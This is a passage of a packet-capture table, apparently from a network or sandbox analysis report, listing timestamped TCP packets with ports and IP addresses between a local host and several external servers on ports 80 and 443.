Sep 6, 2024 08:17:05.924942017 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.924952030 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.924968958 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.924978018 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.924983025 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.924994946 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.925018072 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.925725937 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.925735950 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.925746918 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.925781012 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.925796032 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.925811052 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.925822973 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.925832987 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.925846100 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.925856113 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.925858021 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.925885916 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.925896883 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.926664114 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.926675081 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.926691055 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.926701069 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.926717043 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.926743031 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.927561998 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:05.927573919 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:05.927582979 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:05.927612066 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:05.927623987 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:05.936249018 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.936268091 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.936280012 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.936291933 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.936302900 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.936319113 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.936347008 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.936398029 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.936408997 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.936418056 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.936430931 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.936439037 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.936458111 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.936463118 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.936474085 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.936491013 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.936497927 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.936641932 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.936659098 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.936669111 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.936693907 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.936708927 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.936719894 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.936721087 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.936731100 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.936753035 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.936770916 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.936922073 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.936971903 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.936978102 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.936990023 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.937000036 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.937011957 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.937032938 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.937038898 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.937050104 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.937056065 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.937110901 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.937129974 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.937141895 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.937143087 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.937143087 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.937156916 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.937166929 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.937177896 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.937196016 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.937210083 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.937232018 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.937242031 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.937273979 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.937311888 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.937330008 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.937341928 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.937350035 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.937351942 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.937375069 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.937380075 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.937386990 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.937398911 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.937402964 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.937410116 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.937421083 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.937432051 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.937460899 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.937707901 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.937755108 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.937755108 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.937763929 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.937789917 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.937805891 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.937829971 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.937841892 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.937865973 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.937877893 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.937877893 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.937908888 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.937911987 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.937922955 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.937930107 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.937938929 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.937949896 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.937952042 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.937959909 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.937961102 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.937983990 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.938003063 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.938009024 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.938083887 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.938095093 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.938103914 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.938116074 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.938126087 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.938134909 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.938165903 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.938186884 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.938201904 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.938249111 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.938292027 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.938302994 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.938313007 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.938324928 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.938337088 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.938359022 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.938409090 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.938417912 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.938422918 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.938431978 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.938446045 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.938456059 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.938461065 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.938484907 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.938493967 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.938611031 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.938653946 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.938658953 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.938672066 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.938695908 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.938709021 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.938715935 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.938719988 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.938752890 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.938756943 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.938764095 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.938774109 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.938786030 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.938792944 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.938821077 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.938828945 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.938838005 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.938865900 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.938889027 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.938903093 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.938911915 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.938924074 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.938935041 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.938946009 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.938971996 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.938997984 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.939008951 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.939018965 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.939033031 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.939044952 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.939044952 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.939054966 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.939088106 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.939093113 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.939097881 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.939115047 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.939126968 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.939133883 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.939146042 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.939152002 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.939178944 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.939193010 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.939209938 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.939219952 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.939232111 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.939248085 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.939249039 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.939260960 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.939280987 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.939284086 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.939292908 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.939300060 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.939327955 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.939409018 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.939420938 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.939430952 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.939448118 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.939476013 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.939479113 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.939490080 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.939498901 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.939512968 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.939546108 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.940079927 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.940090895 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.940100908 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.940130949 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.940144062 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.940150976 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.940160990 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.940171003 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.940181971 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.940191984 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.940191984 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.940208912 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.940234900 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.943834066 CEST	443	49744	76.76.21.142	192.168.2.4
Sep 6, 2024 08:17:05.943909883 CEST	49744	443	192.168.2.4	76.76.21.142
Sep 6, 2024 08:17:05.949925900 CEST	49744	443	192.168.2.4	76.76.21.142
Sep 6, 2024 08:17:05.949934006 CEST	443	49744	76.76.21.142	192.168.2.4
Sep 6, 2024 08:17:05.950233936 CEST	443	49744	76.76.21.142	192.168.2.4
Sep 6, 2024 08:17:05.950278997 CEST	49744	443	192.168.2.4	76.76.21.142
Sep 6, 2024 08:17:05.951273918 CEST	49744	443	192.168.2.4	76.76.21.142
Sep 6, 2024 08:17:05.967128038 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:05.967139006 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:05.974903107 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:05.981899023 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.981909990 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.981925011 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.981940031 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.981950045 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.981954098 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.981961966 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.981990099 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.982000113 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.982028008 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.982362032 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.982412100 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.982424021 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.982444048 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.982471943 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.982471943 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.982484102 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.982496977 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.982506990 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.982517004 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.982548952 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.982981920 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.982994080 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.983007908 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.983028889 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.983057976 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.983067989 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.983078957 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.983088970 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.983102083 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.983114004 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.983114958 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.983144045 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.983160973 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.983609915 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.983625889 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.983664989 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.983676910 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.983700037 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.983741045 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.983747005 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.983757973 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.983791113 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.983797073 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.983803034 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.983814955 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.983824015 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.983844995 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.983874083 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.983885050 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.983895063 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.983906031 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.983911037 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.983916998 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.983926058 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.983958960 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.983989954 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.984002113 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.984013081 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.984024048 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.984029055 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.984041929 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.984047890 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.984052896 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.984062910 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.984066963 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.984102964 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.984138012 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.984148026 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.984158039 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.984164000 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.984169960 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.984174013 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.984181881 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.984193087 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.984199047 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.984213114 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.984241009 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.984267950 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.984278917 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.984289885 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.984301090 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.984308004 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.984312057 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.984338045 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.984350920 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.984841108 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.984853029 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.984863043 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.984901905 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.984926939 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.984930992 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.984941959 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.984966040 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.984971046 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.984981060 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.984993935 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.984998941 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.985012054 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.985037088 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.985711098 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.985722065 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.985733032 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.985765934 CEST	49733	80	192.168.2.4	147.45.44.104
